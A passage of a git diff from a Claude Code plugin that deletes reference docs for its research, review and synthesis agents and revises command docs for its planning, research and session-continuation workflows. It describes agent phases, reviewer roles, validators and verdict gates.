path-verified manifest). Missing or invalid manifest = **major** finding.
Returns its findings as a trailing machine-readable `json` block (it has no
Write tool — the block is the hand-off).
- `scope-guardian` — verify plan matches the brief's requirements, find scope
creep (plan does more than the brief specifies) and scope gaps (plan misses
brief requirements), validate file/function references. Confirm every
Success Criterion in the brief is covered by the plan's Verification section.
Returns its findings as a trailing machine-readable `json` block (no Write tool).
After both complete, extract each reviewer's trailing `json` findings block and
pipe both into the dedup helper via **stdin** (the reviewers are read-only and
cannot write temp files; the orchestrator persists by piping their inline blocks):
`node ${CLAUDE_PLUGIN_ROOT}/lib/review/plan-review-dedup.mjs --stdin` fed
`{ "plan_critic": <block>, "scope_guardian": <block> }`. The helper exits
non-zero on malformed stdin, so a broken hand-off cannot hide behind an empty
merge. The merged array attributes each finding to `[plan-critic, scope-guardian]`
if both reviewers raised it. Revise the plan once for the merged set, not
twice for the duplicates. Source: research/05 R1 + R2.
The dedup output is piped on to `lib/validators/plan-gate.mjs --record
<plan> --reviewed <hash>` (the hash `--hash` printed before the reviewers read
the plan), which writes the round's verdict into the plan's `## Critic Verdict`.
This is a loop of at most 3 rounds: revise, then review again; after round 3
with a BLOCKER open, stop and ask the operator. Round 1 reviews the whole
plan. Rounds 2+ run in diff mode: `plan-gate.mjs --diff <plan>` prints what
changed since the text the last round reviewed, both reviewers get it and
mark each previous finding by id, and the gate counts the round by rule A:
Rule A: from round 2 on, a new major finding that cites a plan line outside the diff since the last reviewed text counts as minor; a blocker, a security finding and a finding with no plan line count at full severity, and a previous finding stays counted until it is marked resolved.
`plan-gate.mjs <plan>` (K3) exits 0 only for a valid plan whose current text
carries a verdict with no open BLOCKER and no open MAJOR the operator has not
accepted (`commands/trekplan.md` Phase 9 is the full text).
After both complete:
- Address all blockers and major issues by revising the plan
- **Manifest quality is a hard gate:** any manifest-related `major` finding
must be fixed before the plan can be handed off. This enforces the
principle that trekexecute relies on the plan being
machine-checkable — a plan without verifiable manifests cannot drive
deterministic execution.
- Add a "Revisions" note at the bottom documenting changes
### Phase 7 — Completion
When done, your output message should contain:
```
## Voyage Complete (Background)
**Task:** {task}
**Plan:** {plan path}
**Brief:** {brief path}
**Project:** {project_dir or "-"}
**Exploration:** {N} agents ({N} specialized + {N} deep-dives + {research status})
**Scope:** {N} files to modify, {N} to create — {complexity}
**Review:** {critic verdict} / {guardian verdict}
### Key decisions
- {Decision 1}
- {Decision 2}
### Steps ({N} total)
1. {Step 1}
2. {Step 2}
...
You can:
- Review the full plan at {plan path}
- Ask questions or request changes
- Say "execute" for the /trekexecute line
- Say "save" to keep for later
```
## Rules
- **Brief is the contract.** Every plan decision must trace back to a section
of the brief (Intent, Goal, Constraint, Preference, NFR, Success Criterion).
A plan step with no brief basis is scope creep — flag it or remove it.
- **Scope:** Only explore the current working directory. Never read files outside the repo.
- **Cost:** Sub-agents use their pinned `model:` frontmatter (currently `opus`
for all). A `phase_signals[<phase>].model` brief signal or the active
`--profile` (e.g. `economy`) overrides the model per-phase. You (the
orchestrator) run on Opus.
- **Privacy:** Never log secrets, tokens, or credentials.
- **Quality:** Every file path in the plan must be verified. Every "reuses" reference
must point to real code. The plan must stand alone without exploration context.
- **Assumptions:** Mark ALL unverifiable claims with `[ASSUMPTION]`. If the plan
contains >3 assumptions, add a prominent warning in the plan summary:
"Plan has N unverified assumptions — review before executing."
- **No placeholders:** Never write "TBD", "TODO", "add appropriate error handling",
"update as needed", or "similar to step N" without repeating the specific content.
If you don't know the exact change, mark it as `[ASSUMPTION]` and explain what
information is missing.
- **Honesty:** If the task is trivial, say so. Don't inflate the plan.
- **Adaptive:** All agents run for all sizes.

View file

@ -1,236 +0,0 @@
---
name: research-orchestrator
description: Reference document, not a spawnable capability — documents the /trekresearch workflow that runs inline in main context (full rationale, CC-2.1.172 history, and phase map in body).
model: opus
color: cyan
tools: ["Read", "Glob", "Grep"]
---
<!-- Phase mapping: orchestrator → command
Corrected in v5.10: every row below was off by one, and the old last row
pointed at a ninth command phase that does not exist — the command ends
at Phase 8.
Orchestrator Phase 1 = Command Phase 4 (Agent group selection)
Orchestrator Phase 2 = Command Phase 4 (Parallel research — same
command phase; the orchestrator
splits selection from launch)
(no orchestrator phase)= Command Phase 4.5 (Dimension discovery, high
effort AND VOYAGE_STORM_ENABLED
=1 only — v5.10)
Orchestrator Phase 3 = Command Phase 5 (Targeted follow-ups; bounded
conversation loop at high effort)
Orchestrator Phase 4 = Command Phase 6 (Triangulation)
Orchestrator Phase 5 = Command Phase 7 (Synthesis + write brief)
Orchestrator Phase 6 = Command Phase 8 (Present and track / completion)
As of v2.4.0, /trekresearch runs these phases inline in main
context instead of spawning this agent. Keep this file as the canonical
reference for what those phases do. -->
This document is the canonical workflow description for the trekresearch
pipeline as of v2.4.0. The `/trekresearch` command reads it as
reference and executes the phases below **inline in the main command
context**. It is no longer spawned as a background sub-agent — that mode
silently lost the Agent tool and degraded the swarm to single-context
reasoning.
The role of the "orchestrator" now belongs to the command markdown itself:
the main Opus session launches local + external agents via the Agent tool,
collects their results, triangulates, and writes the research brief.
## Design principle: Context Engineering
Your job is to build the RIGHT context — not all context. Each agent gets a focused
prompt relevant to the research question. The value is in triangulation (cross-checking
local vs. external findings) and synthesis (insights that only emerge from combining
both perspectives).
## Input
You will receive a prompt containing:
- **Research question** — what the user wants to understand
- **Dimensions** (optional) — specific facets to investigate
- **Mode** — `default`, `local`, `external`, or `quick`
- **Brief destination** — where to write the research brief
- **Plugin root** — for template access
## Your workflow
Execute these phases in order. Do not skip phases.
### Phase 1 — Agent group selection
Based on the mode, determine which agent groups to launch:
| Mode | Local agents | External agents |
|------|-------------|-----------------|
| `default` | Yes | Yes |
| `local` | Yes | No |
| `external` | No | Yes |
| `quick` | N/A — handled inline by the command, not the orchestrator |
> **No bridge agent (v5.10.1).** The third-party second-opinion bridge was dropped
> by operator directive; there is no bridge column to select.
**Local agents** (reuse existing plugin agents with research-focused prompts):
| Agent | Purpose in research context |
|-------|----------------------------|
| `architecture-mapper` | How the codebase's architecture relates to the research question |
| `dependency-tracer` | Which modules and dependencies are relevant to the research topic |
| `task-finder` | Existing code that relates to the research question (reuse candidates, patterns) |
| `git-historian` | Recent changes and ownership patterns relevant to the topic |
| `convention-scanner` | Coding patterns relevant to evaluating fit of researched options |
**External agents** (new research-specialized agents):
| Agent | Purpose |
|-------|---------|
| `docs-researcher` | Official documentation, RFCs, vendor docs |
| `community-researcher` | Real-world experience, issues, blog posts, discussions |
| `security-researcher` | CVEs, audit history, supply chain risks |
| `contrarian-researcher` | Counter-evidence, overlooked alternatives, reasons to reconsider; runs in wave 2, against wave 1's leading answer |
### Phase 2 — Parallel research
Launch the selected agents in two waves.
**Wave 1:** ALL selected agents except `contrarian-researcher` **in parallel**
using the Agent tool — one message, multiple tool calls. This maximizes
concurrency.
**Wave 2:** `contrarian-researcher`, after wave 1 returns, in a message of its
own. Give it a conclusion to attack: the leading answer (one or two sentences),
the claims for it and the alternatives wave 1 dismissed, taken from wave 1's
external findings only, never from the local agents' findings, and passed with
the local parts (absolute paths, user names, internal project or repository
names, ticket IDs) removed. It searches with the words it is given.
**Prompting local agents for research (not planning):**
Local agents are designed for planning context, but they work equally well for
research when prompted correctly. The key: frame the prompt around the research
question, not a task to implement.
Examples:
- architecture-mapper: "Analyze the codebase architecture relevant to this question:
{research question}. Focus on patterns, tech stack choices, and structural decisions
that relate to {topic}. Report how the current architecture would support or conflict
with {options being researched}."
- dependency-tracer: "Trace dependencies and data flow relevant to {research question}.
Identify which modules would be affected by {topic}. Map external integrations that
relate to {options being researched}."
- task-finder: "Find existing code relevant to {research question}. Look for prior
implementations, patterns, utilities, or abstractions that relate to {topic}.
Classify as: directly relevant, partially relevant, reference only."
- git-historian: "Analyze git history relevant to {research question}. Look for recent
changes to {relevant areas}, who owns that code, and whether there are active branches
touching related files."
- convention-scanner: "Discover coding conventions relevant to evaluating {research question}.
Which patterns would a solution need to follow? What constraints do existing conventions
impose on {options being researched}?"
**Prompting external agents:**
Pass the research question, specific dimensions to investigate, and any context from
the interview about what the user already knows or cares about.
### Phase 3 — Targeted follow-ups
Review all agent results. Identify knowledge gaps — areas where findings are thin,
contradictory, or missing entirely. Launch up to 2 targeted follow-up agents
(Sonnet, Explore or web search) with narrow briefs.
If no gaps exist, skip: "Initial research sufficient — no follow-ups needed."
### Phase 4 — Triangulation
This is the KEY phase that makes trekresearch more than aggregation.
For each dimension of the research question:
1. **Collect** — gather relevant findings from local AND external agents
2. **Compare** — do local findings agree with external findings?
3. **Flag contradictions** — where they disagree, present both sides with evidence
4. **Cross-validate** — use codebase facts to validate external claims, and vice versa
5. **Rate confidence** — based on source quality, agreement level, and evidence strength
Confidence ratings:
- **high** — multiple authoritative sources agree, local evidence confirms
- **medium** — good sources but limited cross-validation, or partial local confirmation
- **low** — single source, conflicting information, or no local validation
- **contradictory** — credible sources actively disagree, requires human judgment
Example of triangulation producing NEW insight:
- Local: "The codebase uses Express middleware pattern extensively"
- External: "Fastify is 3x faster than Express"
- Triangulation insight: "Migration to Fastify would require rewriting 14 middleware
files (local count). The performance gain is real (external) but the migration cost
is high. Express 5 offers a 40% improvement as a drop-in upgrade (external) — this
may be the pragmatic path given the existing middleware investment (synthesis)."
### Phase 5 — Synthesis and brief writing
Read the research brief template from the plugin templates directory:
`{plugin root}/templates/research-brief-template.md`
Write the research brief following the template structure. Key rules:
1. **Executive Summary** — 3 sentences max. Answer, confidence, key caveat.
2. **Dimensions** — each with local findings, external findings, contradictions.
3. **Synthesis section** — this is NOT a summary. It is NEW insight from triangulation.
Things that only become visible when local context meets external knowledge.
4. **Open Questions** — things that remain unresolved. Each is a candidate for follow-up.
5. **Recommendation** — only if the research was decision-relevant. Omit for exploratory.
6. **Sources** — every finding traced to a URL or codebase path with quality rating.
Write the brief to the destination path provided in your input.
Create the `.claude/research/` directory if needed.
### Phase 6 — Completion
When done, your output message should contain:
```
## Ultraresearch Complete (Background)
**Question:** {research question}
**Brief:** {brief path}
**Confidence:** {overall confidence 0.0-1.0}
**Dimensions:** {N} researched
**Agents:** {N} local + {N} external
### Key Findings
- {Finding 1}
- {Finding 2}
- {Finding 3}
### Contradictions Found
- {Contradiction 1, or "None — findings are consistent"}
### Open Questions
- {Question 1, or "None"}
You can:
- Read the full brief at {brief path}
- Feed into planning: /trekplan --research {brief path} <task>
- Ask follow-up questions
```
## Rules
- **Scope:** Codebase analysis is limited to the current working directory.
External research has no such limit.
- **Cost:** Sub-agents use their pinned `model:` frontmatter (currently `opus`
for all). A `phase_signals[<phase>].model` brief signal or the active
`--profile` (e.g. `economy`) overrides the model per-phase. You (the
orchestrator) run on Opus.
- **Privacy:** Never log secrets, tokens, or credentials in the brief.
- **Sources:** Every claim in the brief must cite a source (URL or file path).
Never invent findings.
- **Honesty:** If a question is trivially answerable, say so. Don't inflate research.
- **Graceful degradation:** If MCP tools are unavailable (Tavily, MS Learn), proceed
with available tools and note the limitation in the brief metadata.
- **Independence:** Do not pre-bias external agents with local findings or vice versa.
The value is in independent perspectives that are THEN triangulated.
- **No placeholders:** Never write "TBD", "further research needed", or similar
without specifying what exactly is missing and why it could not be determined.

View file

@ -1,293 +0,0 @@
---
name: review-orchestrator
description: Reference document, not a spawnable capability — documents the /trekreview workflow that runs inline in main context (full rationale, CC-2.1.172 history, and phase map in body).
model: opus
color: red
tools: ["Read", "Glob", "Grep"]
---
<!-- Phase mapping: orchestrator → command
Orchestrator Phase 1 = Command Phase 1 (Parse mode + arg-parser)
Orchestrator Phase 2 = Command Phase 2 (Validate brief)
Orchestrator Phase 3 = Command Phase 3 (Discover scope SHA range)
Orchestrator Phase 4 = Command Phase 4 (Triage gate — path classifier)
Orchestrator Phase 4.7 = Command Phase 4.7 (Claude Code engine: /code-review, /security-review)
Orchestrator Phase 5 = Command Phase 5 (Parallel reviewers)
Orchestrator Phase 6 = Command Phase 6 (Coordinator dedup + verdict)
Orchestrator Phase 7 = Command Phase 7 (Write review.md)
Orchestrator Phase 8 = Command Phase 8 (Validate + verdict gate + stats)
Orchestrator Phase 8.7 = Command Phase 8.7 (Project memory: recurring finding classes)
As of v3.2.0, /trekreview runs these phases inline in main
context instead of spawning this agent. Keep this file as the canonical
reference for what those phases do. -->
This document is the canonical workflow description for the trekreview
pipeline as of v3.2.0. The `/trekreview` command reads it as
reference and executes the phases below **inline in the main command
context**. It was moved out of background sub-agent mode because, before
Claude Code 2.1.172, that mode would silently lose the Agent tool and degrade
the reviewer swarm to single-context reasoning. As of CC 2.1.172 sub-agents
can spawn sub-agents (up to 5 levels deep), so this constraint no longer
holds; a delegated-orchestration redesign is under evaluation (see
`docs/cc-upgrade-2.1.181-decision-matrix.md`, W1/CC-26). Until then,
orchestration stays inline.
The role of the "orchestrator" now belongs to the command markdown itself:
the main Opus session launches reviewer agents via the Agent tool, runs the
coordinator, validates the output, and writes review.md to disk.
## Design principle: independent, then bounded
Each reviewer runs independently — no cross-feeding of findings between
brief-conformance-reviewer and code-correctness-reviewer. The coordinator
then applies BOUNDED operations only: deduplication, severity ranking,
reasonableness filter. Synthesis-level inference across files is
explicitly forbidden in v1.0 (Judge Agent pattern).
## Input
You will receive a prompt containing:
- **Project dir** — path to the trekplan project folder (the brief and
optional `progress.json` live here; the review will be written to
`{project_dir}/review.md`).
- **Brief path** — `{project_dir}/brief.md`. Read it; the brief is the
contract that bounds review scope.
- **Mode** — `default`, `quick`, `validate`, or `dry-run`.
- `default` — run the full pipeline.
- `quick` — skip the coordinator's reasonableness filter except the
brief-conflict rule; use single reviewer (code-correctness only) for faster turnaround.
- `validate` — schema-only check on existing review.md, no LLM calls.
- `dry-run` — print the discovered scope and triage map; skip writes.
- **Since-ref** (optional) — explicit `--since <ref>` override for the SHA
range. Validated via `git rev-parse --verify <ref>`.
- **Plugin root** — for template access.
Read the brief file first. It is the contract. Parse its frontmatter and
every section (Intent, Goal, Non-Goals, Constraints, Success Criteria,
Open Questions, Prior Attempts).
## Your workflow
Execute these phases in order. Do not skip phases.
### Phase 1 — Parse mode and validate input
Run the arg-parser via Bash, with the arguments as the one line inside the
quoted heredoc (on stdin, never as shell words):
```
node ${CLAUDE_PLUGIN_ROOT}/lib/parsers/arg-parser.mjs --command trekreview --stdin <<'VOYAGE_ARGS_EOF_7F3C9E'
$ARGUMENTS
VOYAGE_ARGS_EOF_7F3C9E
```
Pull the structured flags from its JSON output. Reject unknown flags. If
`--project` is missing and a brief argument was not supplied directly,
print usage and stop.
### Phase 2 — Validate brief
Run the brief validator in soft mode (the brief was produced earlier in
the pipeline — we accept partial grades, we just want a parseable
contract):
```
node ${CLAUDE_PLUGIN_ROOT}/lib/validators/brief-validator.mjs --soft --json {brief_path}
```
If `valid: false` with REQUIRED-field errors: stop, ask the user to
re-run `/trekbrief` first.
### Phase 3 — Discover scope SHA range
Determine the range of commits this review covers.
1. **Preferred path** — read `{project_dir}/progress.json` if it exists.
Extract `session_start_sha`. This is the "before" SHA.
2. **Fallback** — if no `progress.json`, use the brief's mtime to find the
most recent commit AT OR BEFORE the brief was written. Emit a clear
warning in the review's Executive Summary noting the fallback.
3. **Override** — `--since <ref>` overrides the discovered "before" SHA.
Validate the ref with `git rev-parse --verify <ref>`. Reject if invalid.
4. The "after" SHA is `git rev-parse HEAD`.
Compute the diff:
```
git diff --name-only {before_sha}..{after_sha}
```
Add working-tree changes (uncommitted) with the `[uncommitted]` annotation
the brief contract specifies. The Coverage table marks them explicitly.
### Phase 4 — Triage gate (path-pattern classifier)
The triage gate is **deterministic** — no LLM judgment. It runs a
hardcoded path-pattern classifier over the file list from Phase 3 and
produces a treatment map:
| Treatment | When |
|-----------|------|
| `skip` | Matches `*.lock`, `*.svg`, `dist/**`, `build/**`, `node_modules/**`, generated-file marker present in first 3 lines |
| `deep-review` | Default for every changed file not in the other two rows — code, tests, `commands/`, `agents/`, `skills/` Markdown, and the instruction files `CLAUDE.md`, `AGENTS.md` and `.claude/rules/**` |
| `summary-only` | `docs/**`, Markdown files at the repo root other than `CLAUDE.md` and `AGENTS.md` (README, CHANGELOG), `tests/fixtures/**` |
Hard refuse-with-suggestion gates (use AskUserQuestion):
- > 100 files in the diff
- > 100,000 tokens of estimated diff content (`git diff` output size / 4)
If gated, suggest narrowing the scope with `--since <closer-ref>` or
splitting the review across multiple commits.
Record the treatment for every file. Files marked `skip` MUST appear in
the Coverage section of review.md — never silently drop them. A silent
drop is a `COVERAGE_SILENT_SKIP` finding emitted by the coordinator.
### Phase 4.7 — Claude Code's review engine
Start Claude Code's own `/code-review` (target: the review's SHA range,
level `high`) and `/security-review` through the Skill tool — never with
`--fix`, `--comment`, `--post` or `ultra`. Wait for both to deliver (a
background `/code-review` delivers later in the conversation), transcribe
their findings, and convert each with `lib/review/engine-findings.mjs` into a
reviewer payload (`claude-code-review`, `claude-security-review`). An engine
that did not run stays in the expected reviewer set and forbids `ALLOW`. The
Phase 5 reviewers never see the engine payloads. Full procedure:
`commands/trekreview.md` § Phase 4.7.
### Phase 5 — Launch parallel reviewers
Launch **two reviewer agents in parallel** using the Agent tool — one
message, multiple tool calls.
Reviewers run independently. Do NOT pre-feed findings between them. The
coordinator handles cross-cutting decisions later.
| Agent | Purpose |
|-------|---------|
| `brief-conformance-reviewer` | Trace each Success Criterion + Non-Goal to delivered code. Flag UNIMPLEMENTED_CRITERION, NON_GOAL_VIOLATED, BROKEN_SUCCESS_CRITERION, MISSING_BRIEF_REF, SCOPE_CREEP_BUILT, PLAN_EXECUTE_DRIFT. |
| `code-correctness-reviewer` | 8-dimension code review. Flag MISSING_ERROR_HANDLING, PLAN_EXECUTE_DRIFT, MISSING_TEST, PLACEHOLDER_IN_CODE, SECURITY_INJECTION, UNDECLARED_DEPENDENCY, CLAUDE_MD_DEVIATION, CLAUDE_MD_STALE. |
Each reviewer receives:
- **Diff context** — the unified diff from Phase 3 (truncated per file
for files marked `summary-only`).
- **Triage map** — full file list with treatments. Reviewers must respect
`skip` decisions — if they want to flag a skipped file they emit a
COVERAGE_SILENT_SKIP finding instead.
- **Brief path** — for re-reading; do not inline the full brief into the
prompt to keep token budgets honest.
In `quick` mode, launch only `code-correctness-reviewer`. Skip the
brief-conformance pass; the coverage matrix will still appear in
review.md but it is structural, not behavioral.
### Phase 6 — Coordinator dedup + verdict
Launch `review-coordinator` with the merged findings array from Phase 5
plus the Phase 4.7 engine payloads and the expected reviewer set.
The coordinator runs a 4-pass process:
1. **Dedup** by `(file, line, rule_key)` triplet — keep highest severity.
2. **HubSpot Judge filters** — Accuracy refutes; Actionability sets aside
as unverified; Succinctness never removes a finding (only MINOR/SUGGESTION
text is trimmed, and counted).
3. **Cloudflare reasonableness** — drop a finding with no `file:line`
citation (`no-citation`) or whose file is in neither the working tree nor
the diff (`file-existence:refuted`); route one whose `rule_key` is not in
`RULE_CATALOGUE` (`unknown-rule_key`) or whose file cannot be checked
(`file-existence:indeterminate`) to `unverified`, which forbids `ALLOW`;
reset a severity that does not match its catalogue tier.
The one exception to the reset is the brief-conflict lowering: a
`/code-review` finding marked `contradicts_brief`, at the MAJOR tier and
at severity MAJOR, drops to MINOR with `brief_lowered_from: MAJOR`.
Skipped at high effort, as in `quick` mode (below); at high effort an
unknown `rule_key` is normalized to `PLAN_EXECUTE_DRIFT` instead
(`agents/review-coordinator.md`, "High-effort normalization"); the
brief-conflict rule still applies in every mode.
4. **Compute verdict** — `BLOCK` if `BLOCKER ≥ 1`, `WARN` if `MAJOR ≥ 1`,
else `ALLOW`.
The coordinator's output is the full review.md content — frontmatter
(with the required `verdict:`) + body sections (`## Declined to Judge`,
and `## Remediation Steps` with one numbered step per BLOCKER) + trailing
JSON block — ready to write.
In `quick` mode, skip pass 3 (reasonableness filter), except the
brief-conflict rule, which applies in every mode. Passes 1, 2, 4 still run.
### Phase 7 — Write review.md
Use the destination from Phase 1:
- **With `--project`:** write to `{project_dir}/review.md`.
Create parent directories if needed. The frontmatter `findings:` field
must use **block-style YAML** (one ID per line with ` - ` prefix). The
parser at `lib/util/frontmatter.mjs` does not accept flow-style arrays.
The trailing JSON block in the body must be a valid `json` fenced code
block, last fenced block in the file, parseable by `JSON.parse()`.
### Phase 8 — Validate + stats
Run the review validator in strict mode:
```
node ${CLAUDE_PLUGIN_ROOT}/lib/validators/review-validator.mjs --json {project_dir}/review.md
```
If validation fails, repair the file (most failures are fixable in place
— missing required frontmatter field, missing body section, malformed
finding-ID). Do NOT proceed if any REVIEW_REQUIRED_FRONTMATTER field is
missing.
Then decide on the verdict with the gate (K7):
```
node ${CLAUDE_PLUGIN_ROOT}/lib/review/verdict-gate.mjs {project_dir}/review.md
```
0 = ALLOW, or WARN with every counting MAJOR answered, 1 = BLOCK, 2 = could not decide (never green).
Append a stats line to `${CLAUDE_PLUGIN_DATA}/trekreview-stats.jsonl`:
```json
{"ts":"...","slug":"...","verdict":"BLOCK|WARN|ALLOW","counts":{"BLOCKER":N,"MAJOR":N,"MINOR":N,"SUGGESTION":N},"reviewed_files_count":N,"mode":"default|quick|validate|dry-run","duration_ms":N}
```
### Phase 8.7 — Project memory
`lib/review/recurrence.mjs propose` finds finding classes seen in two
review.md files in the repo; the operator approves each proposed line
(AskUserQuestion) before `recurrence.mjs apply` writes it between Voyage's
markers in `.claude/rules/voyage-review-lessons.md`. Full procedure:
`commands/trekreview.md` § Phase 8.7.
## Hard rules
- **Currently runs inline, not in background.** This orchestrator file is
reference, not a runnable sub-agent. Original reason: before Claude Code
2.1.172, background mode silently lost the Agent tool and the reviewer
swarm collapsed to single-context reasoning. As of CC 2.1.172 sub-agents
can spawn sub-agents (up to 5 levels deep), so that hard block is gone — a
delegated redesign is under evaluation (see
`docs/cc-upgrade-2.1.181-decision-matrix.md`, W1/CC-26). Until it lands,
always run review agents from the main /trekreview command context.
- **Reviewers run independently.** No cross-feeding of findings. The
coordinator is the only place where reviewer outputs are combined.
- **Coordinator scope is bounded.** Dedup, severity ranking, reasonableness
filter only. No cross-file inference. No synthesis-level hallucination.
Synthesis is a v1.1 candidate — for v1.0 it is forbidden.
- **Brief is the contract.** Every finding must have a `brief_ref` tracing
back to a brief section (SC, Non-Goal, Constraint, NFR). Findings without
`brief_ref` are MISSING_BRIEF_REF (MAJOR).
- **No silent drops.** Every file in the discovered diff must appear in
the Coverage section, even if its treatment is `skip`. Hidden truncation
is COVERAGE_SILENT_SKIP (MAJOR).
- **Cost:** Sub-agents use their pinned `model:` frontmatter (currently `opus`
for all). A `phase_signals[<phase>].model` brief signal or the active
`--profile` (e.g. `economy`) overrides the model per-phase. The orchestrator
(the /trekreview command itself) runs on Opus.
- **Privacy:** Never log secrets, tokens, or credentials. Findings citing
files with secret-like content must redact the secret in the `detail`.
- **Honesty:** If the diff is trivially small or all-skip, say so. Do
not pad findings to make the review look thorough.
- **Block-style YAML for findings list.** The frontmatter parser does not
support flow-style arrays. `findings: [a, b]` is broken; use:
```yaml
findings:
- <id1>
- <id2>
```

View file

@ -1,70 +0,0 @@
---
name: synthesis-agent
description: DORMANT PoC (NW3/S12), NOT wired into /trekplan — a schema-conformant agent that distills the Phase-5/7 exploration outputs into one findings digest; kept as a re-measurable building block (see docs/T1-synthesis-poc-results.md).
model: opus
color: cyan
tools: ["Read", "Glob", "Grep"]
---
You are a planning-synthesis specialist. You ingest the raw outputs of the
trekplan exploration swarm and distill them into ONE structured findings digest —
the same synthesis Phase 7 produces inline, but returned as a validated artifact
so the heavy multi-output read happens in YOUR context, not the main session's.
You do not plan, you do not write files, and you do not spawn other agents. Your
entire deliverable is the digest you return as your final message.
## Inputs
You will be told where the exploration outputs live — either inline in the prompt,
or as a directory / list of file paths. Each is the output of one exploration
agent (architecture-mapper, dependency-tracer, task-finder, risk-assessor,
test-strategist, git-historian, convention-scanner) and/or an external research
brief. Read every one before synthesising.
## Your synthesis process (mirrors trekplan Phase 7)
1. **Read all outputs carefully.** Hold them together; do not summarise one at a time.
2. **Identify overlaps and contradictions** between agents — where two agents
describe the same thing differently, surface it as a contradiction to resolve,
not a duplicate to drop.
3. **Build the architecture model** — a tight prose mental model of the codebase
*as it bears on the task*, not a generic tour.
4. **Catalog reusable code** — existing functions, utilities, patterns the plan
should build on, each with a `file:line`-style ref.
5. **Integrate research with codebase analysis**, and for EVERY finding track
whether it came from **codebase** analysis or external **research**.
6. **Note remaining gaps** — things you cannot determine from the outputs. These
become explicit assumptions for the plan.
7. **Rank risks** carried from the risk-assessor, keeping severity.
## Output contract (lib/plan/synthesis-digest-schema.mjs)
End your output with EXACTLY ONE fenced ```json block — the digest. Prose above it
is allowed (your reasoning); the LAST json fence is parsed. The digest object:
```json
{
"agent": "synthesis-agent",
"task": "<the task being planned, one line>",
"architecture_model": "<prose mental model of the codebase as it bears on the task>",
"reusable_code": [ { "ref": "path:line", "note": "why reusable" } ],
"contradictions": [ "<overlap or contradiction between agents, and how to resolve>" ],
"risks": [ { "risk": "<failure mode>", "severity": "high|medium|low" } ],
"gaps": [ "<unknown → becomes a plan assumption>" ],
"sources": [ { "finding": "<distilled finding>", "origin": "codebase|research" } ]
}
```
Required, load-bearing (Phase 8 consumes them): `task`, `architecture_model`, and
the five arrays. Every `sources` entry MUST be origin-tagged `codebase` or
`research`. Empty arrays are valid (a clean digest can have no contradictions or
gaps). Do not invent file refs — cite only refs that appear in the outputs you read.
## Rules
- **Distill, do not transcribe.** The digest's value is that it is far smaller than
the inputs while preserving every load-bearing fact.
- **Resolve, do not just list.** When agents conflict, say which to trust and why.
- **Tag provenance.** codebase vs research is the contract — never leave it blank.
- **Stay in your lane.** No plan steps, no file writes, no sub-agents. Just the digest.

View file

@ -1079,9 +1079,8 @@ topic.
> sub-agents, so a background run silently degraded to single-context
> reasoning without WebSearch / Tavily / WebFetch (see v2.4.0
> release notes). As of CC 2.1.172 sub-agents can spawn sub-agents (up to 5
> levels deep), so a delegated redesign is under evaluation (see
> `docs/cc-upgrade-2.1.181-decision-matrix.md`, W1/CC-26). Until then,
> running each research pass inline in main context keeps the swarm intact.
> levels deep); each research pass still runs inline in main context,
> because the swarm's results end in the main context anyway.
### Step 6c — Verify all briefs landed

View file

@ -182,7 +182,7 @@ resumable state wins.
Bug 3 contract: producers (`/trekexecute`, `/trekendsession`)
write `NEXT-SESSION-PROMPT.local.md` with YAML frontmatter (`produced_by:`,
`produced_at:`). Multiple producers may have written candidates in different
locations; this phase refuses ambiguity before validating the state file.
locations; this phase settles which one counts before validating the state file.
After resolving the project directory and state-file path, look for two
`NEXT-SESSION-PROMPT.local.md` candidates:
@ -191,40 +191,7 @@ After resolving the project directory and state-file path, look for two
operator-managed master file, written by the operator or an external producer, never by Voyage
b. `<project-dir>/NEXT-SESSION-PROMPT.local.md` — producer-written sibling
**If both exist:**
- Read both via the **Read tool** (NOT Bash — same anti-substitution rule
as Phase 2).
- Invoke the consistency validator with the paths emitted as concrete
literal tokens (no template substitution at the Bash boundary). When the
project's `.session-state.local.json` exists, pass it with `--state-file`
(else run the same line without the option):
```
node ${CLAUDE_PLUGIN_ROOT}/lib/validators/next-session-prompt-validator.mjs --json --consistency <RESOLVED-PATH-A> <RESOLVED-PATH-B> --state-file <RESOLVED-PATH-STATE>
```
Replace `<RESOLVED-PATH-A>` and `<RESOLVED-PATH-B>` with the two concrete
filesystem paths you have in your working context, and
`<RESOLVED-PATH-STATE>` with the concrete path of the project's
`.session-state.local.json`. The validator emits `{valid, errors, warnings}`
JSON on stdout.
- **If `valid: false`** (typically `NEXT_SESSION_PROMPT_PRODUCER_MISMATCH`):
print the structured `errors[]` (each `[code] message` on its own line),
list both candidate paths, and exit non-zero. Do NOT proceed to Phase 2.
Resolve the conflict by deleting the stale candidate (run
`/trekcontinue --cleanup --confirm <project-dir>` after the
current session closes, or remove by hand).
- **If `valid: true` with a `NEXT_SESSION_PROMPT_WALL_CLOCK_DRIFT` warning**
(one of the candidates is more than 24h old): print the warning to stderr
but continue — long pauses (weekend, vacation) are not failures.
- **If `valid: true` with a `NEXT_SESSION_PROMPT_STALE_IGNORED` warning**
(one candidate is older than the state file's `updated_at`): print the
warning and continue. The state-anchored check is the primary refusal
signal; staleness simply rejects the older candidate.
**If both exist:** use the project-dir file (b), the one Voyage writes; print one line naming the root file (a) as ignored, and continue to Phase 2.
**If only one exists:** continue to Phase 2. No comparison needed.

View file

@ -182,7 +182,7 @@ Examples:
/trekplan --export headless .claude/plans/trekplan-2026-04-06-rate-limiting.md
/trekplan --decompose .claude/plans/trekplan-2026-04-06-rate-limiting.md
Migrating from v1.x? See MIGRATION.md in this plugin. The old --spec flag
Migrating from v1.x? See CHANGELOG.md in this plugin. The old --spec flag
and free-text interview mode were removed in v2.0.
```
@ -408,16 +408,15 @@ Planning pipeline running in foreground.
Then continue to the next phase inline.
> **Why foreground (for now)?** The planning-orchestrator was moved out of
> **Why foreground?** The planning workflow was moved out of
> background mode in v2.4.0 because, before Claude Code 2.1.172, the harness
> did not expose the Agent tool to sub-agents, so an orchestrator launched
> with `run_in_background: true` could not spawn the documented exploration
> swarm (`architecture-mapper`, `task-finder`, `plan-critic`, etc.) and
> silently degraded to single-context reasoning. As of CC 2.1.172 sub-agents
> can spawn sub-agents (up to 5 levels deep), so that block no longer holds —
> a delegated redesign is under evaluation (see
> `docs/cc-upgrade-2.1.181-decision-matrix.md`, W1/CC-26). Until then, running
> the phases inline in main context keeps the swarm intact.
> can spawn sub-agents (up to 5 levels deep), so that block no longer holds;
> the phases still run inline in main context, because the swarm's results
> end in the main context anyway.
---
@ -640,8 +639,7 @@ Do NOT write this synthesis to disk. It is internal working context only.
## Phase 8 — Deep planning
> **Schema-drift defense (sealed inline so this contract survives even when
> `agents/planning-orchestrator.md` is not implicitly loaded by the session model).**
